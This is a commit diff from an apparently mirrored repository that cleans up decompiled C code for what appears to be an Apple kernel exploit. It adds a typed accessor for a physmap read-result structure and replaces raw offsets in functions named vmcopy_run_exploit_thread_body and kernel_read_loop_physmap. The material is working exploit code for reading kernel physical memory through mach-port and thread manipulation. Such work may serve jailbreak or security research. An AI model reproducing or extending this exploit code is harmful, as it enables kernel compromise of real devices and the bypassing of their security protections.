mirror of
https://github.com/khanhduytran0/coruna.git
synced 2026-09-22 08:30:52 +02:00
Type physmap read result access
This commit is contained in:
@@ -460,6 +460,11 @@ _Static_assert(sizeof(PhysmapReadResult) == 688, "PhysmapReadResult size mismatc
|
|||||||
|
|
||||||
#undef VMCOPY_ASSERT_OFFSET
|
#undef VMCOPY_ASSERT_OFFSET
|
||||||
|
|
||||||
|
static inline PhysmapReadResult *physmap_read_result_at(uint64_t state, uint64_t index)
|
||||||
|
{
|
||||||
|
return (PhysmapReadResult *)(state + 16 + sizeof(PhysmapReadResult) * index);
|
||||||
|
}
|
||||||
|
|
||||||
static inline __int64 vmcopy_run_exploit_thread_body(
|
static inline __int64 vmcopy_run_exploit_thread_body(
|
||||||
__int64 *state,
|
__int64 *state,
|
||||||
thread_act_t *targetThread,
|
thread_act_t *targetThread,
|
||||||
@@ -5903,7 +5908,7 @@ LABEL_36:
|
|||||||
LABEL_40:
|
LABEL_40:
|
||||||
*(uint64_t *)v271 = v27;
|
*(uint64_t *)v271 = v27;
|
||||||
arc4random_buf((void *)(v4 + 13584), 8u);
|
arc4random_buf((void *)(v4 + 13584), 8u);
|
||||||
arc4random_buf((void *)(v4 + 13592), 8u);
|
arc4random_buf(&((PhysmapLoopState *)v4)->marker, 8u);
|
||||||
v28 = *(uint64_t *)(v4 + 13448);
|
v28 = *(uint64_t *)(v4 + 13448);
|
||||||
v10 = 708609;
|
v10 = 708609;
|
||||||
if ( !v28 )
|
if ( !v28 )
|
||||||
@@ -5986,11 +5991,12 @@ LABEL_50:
|
|||||||
v10 = v31 | 0x80000000;
|
v10 = v31 | 0x80000000;
|
||||||
goto LABEL_51;
|
goto LABEL_51;
|
||||||
}
|
}
|
||||||
v31 = kernel_read_loop_physmap(v5, v4, 0x10u, v4 + 688 * v30 + 16);
|
PhysmapReadResult *activeResult = physmap_read_result_at(v4, v30);
|
||||||
|
v31 = kernel_read_loop_physmap(v5, v4, 0x10u, (__int64)activeResult);
|
||||||
if ( v31 )
|
if ( v31 )
|
||||||
goto LABEL_50;
|
goto LABEL_50;
|
||||||
get_page_size();
|
get_page_size();
|
||||||
v294 = (int8x8_t *)(v4 + 688 * v30 + 16);
|
v294 = (int8x8_t *)activeResult;
|
||||||
v32 = physmap_read_rebuild_page((uint64_t *)v4, v294);
|
v32 = physmap_read_rebuild_page((uint64_t *)v4, v294);
|
||||||
if ( !(uint32_t)v32 )
|
if ( !(uint32_t)v32 )
|
||||||
break;
|
break;
|
||||||
@@ -6012,12 +6018,13 @@ LABEL_100:
|
|||||||
v264 = *(uint64_t *)(v4 + 13432);
|
v264 = *(uint64_t *)(v4 + 13432);
|
||||||
v266 = *(unsigned int *)(v4 + 13544);
|
v266 = *(unsigned int *)(v4 + 13544);
|
||||||
v259 = (mach_port_t *)(v4 + 4 * v30 + 13480);
|
v259 = (mach_port_t *)(v4 + 4 * v30 + 13480);
|
||||||
v34 = v4 + 688 * v30;
|
PhysmapReadResult *scanResult = physmap_read_result_at(v4, v30);
|
||||||
v281 = (unsigned int *)(v34 + 48);
|
v34 = (__int64)scanResult - 16;
|
||||||
|
v281 = &scanResult->pageCount;
|
||||||
v276 = -(int)v266;
|
v276 = -(int)v266;
|
||||||
v10 = 708620;
|
v10 = 708620;
|
||||||
v35 = (uint64_t *)(v4 + 13592);
|
v35 = &((PhysmapLoopState *)v4)->marker;
|
||||||
kobject = v34 + 40;
|
kobject = (__int64)&scanResult->processedPageMask;
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
a1[0] = 0;
|
a1[0] = 0;
|
||||||
@@ -6089,7 +6096,7 @@ LABEL_89:
|
|||||||
{
|
{
|
||||||
LABEL_87:
|
LABEL_87:
|
||||||
v46 = *v45;
|
v46 = *v45;
|
||||||
v35 = (uint64_t *)(v4 + 13592);
|
v35 = &((PhysmapLoopState *)v4)->marker;
|
||||||
v42 = *v281;
|
v42 = *v281;
|
||||||
goto LABEL_88;
|
goto LABEL_88;
|
||||||
}
|
}
|
||||||
@@ -6133,7 +6140,7 @@ LABEL_85:
|
|||||||
v42 = *v281;
|
v42 = *v281;
|
||||||
v10 = 708625;
|
v10 = 708625;
|
||||||
v304 = v52;
|
v304 = v52;
|
||||||
v35 = (uint64_t *)(v4 + 13592);
|
v35 = &((PhysmapLoopState *)v4)->marker;
|
||||||
LABEL_92:
|
LABEL_92:
|
||||||
v45 = (int8x8_t *)kobject;
|
v45 = (int8x8_t *)kobject;
|
||||||
LABEL_93:
|
LABEL_93:
|
||||||
@@ -6260,7 +6267,7 @@ LABEL_195:
|
|||||||
if ( ((1LL << v80) & *(uint64_t *)&v83) == 0 )
|
if ( ((1LL << v80) & *(uint64_t *)&v83) == 0 )
|
||||||
{
|
{
|
||||||
v85 = (uint64_t *)(*(uint64_t *)v64 + (unsigned int)((uint32_t)v80 << v73));
|
v85 = (uint64_t *)(*(uint64_t *)v64 + (unsigned int)((uint32_t)v80 << v73));
|
||||||
if ( *v85 != *(uint64_t *)(v4 + 13592) )
|
if ( *v85 != ((PhysmapLoopState *)v4)->marker )
|
||||||
{
|
{
|
||||||
v86 = *(uint32_t *)(v5 + 384);
|
v86 = *(uint32_t *)(v5 + 384);
|
||||||
if ( v72 < v86 )
|
if ( v72 < v86 )
|
||||||
|
|||||||
Reference in New Issue
Block a user